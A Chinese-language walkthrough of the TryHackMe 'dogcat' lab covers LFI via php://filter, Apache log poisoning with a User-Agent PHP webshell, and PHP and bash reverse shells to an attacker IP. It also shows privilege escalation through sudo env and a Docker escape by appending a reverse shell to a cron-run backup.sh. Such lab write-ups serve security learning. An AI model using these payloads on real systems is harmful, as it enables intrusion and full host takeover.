【THM】dogcat練習
與本文相關的TryHackMe實驗房間連結:TryHackMe | dogcat
簡介:我做了一個網站,你可以看狗和/或貓的圖片!透過LFI攻擊PHP應用程式並突破docker容器。
我製作了這個網站,用於使用 PHP 檢視貓和狗的影像。如果你情緒低落,來看看一些狗/貓吧!
這臺機器可能需要幾分鐘才能完全啟動。
第一題:flag1是多少
第一步
埠掃描
首先使用nmap對埠進行掃描
nmap -Pn -sV -T4 10.10.52.90
可以發現目標開放了2個埠:22/tcp ssh服務、80/tcp http服務
第二步
訪問網站
我們先進入網站看看介面
我們可以在這選擇看看貓貓或者狗狗的圖片:
我們可以發現每當我們點選按鈕時,都有在以GET請求傳送“view”引數,我們注意一下
第三步
資訊收集
我們先看看網頁的原始碼裡面會不會藏了什麼東西:
沒啥有用的。
再優先檢視robots.txt來看看這個網站會不會有什麼見不得人的檔案,404 not found
使用gobuster工具掃描網站目錄:
gobuster dir -u http://10.10.52.90 -w directory-list-2.3-medium.txt -x txt,html,php,js,zip
-x 新增字尾
(這裡我換了個做題更好用一些的字典)
再在新標籤頁開啟貓貓或狗狗圖片,我們能大概猜測瞭解網站的目錄結構:根目錄下為主頁面”index.php“、“flag.php”、“dog.php”、“cat.php”和兩個資料夾”cats“、“dogs”,資料夾內有很多圖片:
與此同時,flag.php開啟發現是一篇白板,直接開啟dog.php會隨機出現一張狗狗的圖片:
第四步
利用注入點
我們猜測引數view=dog時,網站執行了dog.php的內容
我們嘗試修改view的引數:
我們無法訪問,那麼我們嘗試一下使用php偽協議進行檔案讀取
php://filter/read=convert.base64-encode/resource=flag
依然不成功,按照提示“only dogs or cats allowed”可能”view“引數需要包含“dogs”或“cats”,我們嘗試新增路徑:
php://filter/read=convert.base64-encode/resource=./dogs/../flag
成功回顯出flag內容的編碼內容,我們進行base64解碼:
第二題:flag2是多少
第一步
繼續程式碼審計
我們嘗試獲取”index.php“的內容:
php://filter/read=convert.base64-encode/resource=./dogs/index
對輸出進行解密可以得到:
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
我們進行程式碼審計,可以明白:
首先會判斷“ext”引數是否存在,不存在則在“view”引數的值預設為”.php“新增在”view“引數的末尾,存在則直接新增在”view“引數的末尾;
然後判斷”view“引數是否包含“dog”或者“cat”字元,最後只有在”view“引數包含“dog”或者“cat”字元時對“view”引數的檔案進行檔案包含
理論上我們可以利用”view“引數進行任意檔案包含,檔案包含可以獲取到靶機的敏感檔案。但“ext”引數會拼接在檔案尾,所以我們讓“ext”的值為空“ ”
根據埠掃描的結果,我們可以判斷這網站建立在一臺linux系統主機,使用apache中介軟體
那麼網站預設的路徑即為:/var/www/html
,我們可以給網站傳送如此GET請求:
view=/var/www/html/dogs/../../../../../../etc/passwd&ext=
第二步
使用apache的日誌檔案構造webshell
根據埠掃描的結果,我們可以知道該網站使用的apache版本是2.4.38
它的日誌檔案位置在:/var/log/apache2/access.log
我們先檔案包含檢視一下它的內容:
view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext=
可以發現apache的日誌檔案內容過多網站顯示不出來,我們只好重啟靶機……
發現apache的日誌檔案會記錄我們的IP、訪問時間、請求方法(GET)、請求地址、請求狀態碼、User-Agent
因此我們可以構造User-Agent構造HTTP頭部webshell:
User-Agent:<?php system($_GET['cmd']);?>
webshell就是引數”cmd“,我們嘗試輸入指令:
view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext=&cmd=whoami
我們可以發現命令執行的回顯被寫入在日誌檔案中的User-Agent部份
一般情況下我們應該可以直接使用蟻劍或者菜刀工具連線了,但這裡我們只有攻擊機,於是我們構造反彈shell的指令碼,開始監聽接收反彈shell:
php -r '$sock=fsockopen("10.10.227.32","777");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
成功得到SHELL,使用以下命令使初始shell穩定化:
python -c "import pty; pty.spawn('/bin/bash')"
第三步
爆!
我們逐層尋找有什麼檔案,發現了flag:
第三題:flag3是多少
第一步
繼續深入提權
我們進入了根目錄,嘗試進入root目錄失敗,並且沒有home目錄,我們檢視我們擁有的許可權:
我們可以不用密碼使用/usr/bin/env命令,我們在GTFOBins中查詢,發現可以使用這個命令提權:
提權成功
第二步
爆!!!
進入root目錄得到flag:
第四題:flag4是多少
DOCKER逃逸
利用上一個flag的線索
都拿到root許可權了才發現還有flag4要尋找,沒有什麼頭緒參考了文章:[安全 - 【Tryhackme】dogcat(LFI+檔案解析漏洞,Docker逃逸) - 個人文章 - SegmentFault 思否](https://fmash16.github.io/content/writeups/tryhackme/thm-DogCat.html)
上一題的flag給出了線索:”different environment“
我們可以在根目錄下發現一個dockerenv檔案,這說明我們正在執行的的linux系統是在docker中執行的容器,也就是說我們還可以繼續深入從docker容器中逃出來進入linux系統!
/opt/backups
應該是宿主機和Docker機器的共享資料夾
檢視/opt/backups
下的backup.sh
檔案,猜測這個指令碼會被宿主機定時執行
我們把下面的命令追加到backup.sh
檔案:
echo 'bash -i >& /dev/tcp/10.10.227.32/666 0>&1' >> backup.sh
再監聽一個埠,等待大約一分鐘,指令碼被定時執行,我們可以收到宿主機的反彈shell,拿到flag4: